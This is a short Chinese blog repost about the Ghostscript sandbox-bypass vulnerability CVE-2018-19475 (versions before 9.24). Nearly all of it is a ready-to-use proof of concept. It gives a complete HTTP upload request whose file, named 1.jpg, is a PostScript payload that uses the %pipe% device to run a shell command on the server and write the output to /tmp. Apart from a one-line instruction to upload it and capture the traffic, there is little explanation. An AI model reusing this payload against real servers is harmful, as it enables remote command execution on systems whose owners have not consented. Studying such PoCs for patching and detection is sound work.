GhostScript 沙箱绕过（命令执行）漏洞（CVE-2018-19475）
作者：互联网
影响范围
Ghostscript 9.24之前版本
将POC作为图片上传，执行命令，抓包
POST /index.php HTTP/1.1
Host: target
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO
Content-Length: 279
------WebKitFormBoundaryukZmnyhO
Content-Disposition: form-data; name="file_upload"; filename="1.jpg"
content-Type="image/png"
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
------WebKitFormBoundaryukZmnyhO--
标签：5.0,GhostScript,19475,Accept,Content,------,沙箱,Type,WebKitFormBoundaryukZmnyhO 来源： https://www.cnblogs.com/bingtang123/p/14463645.html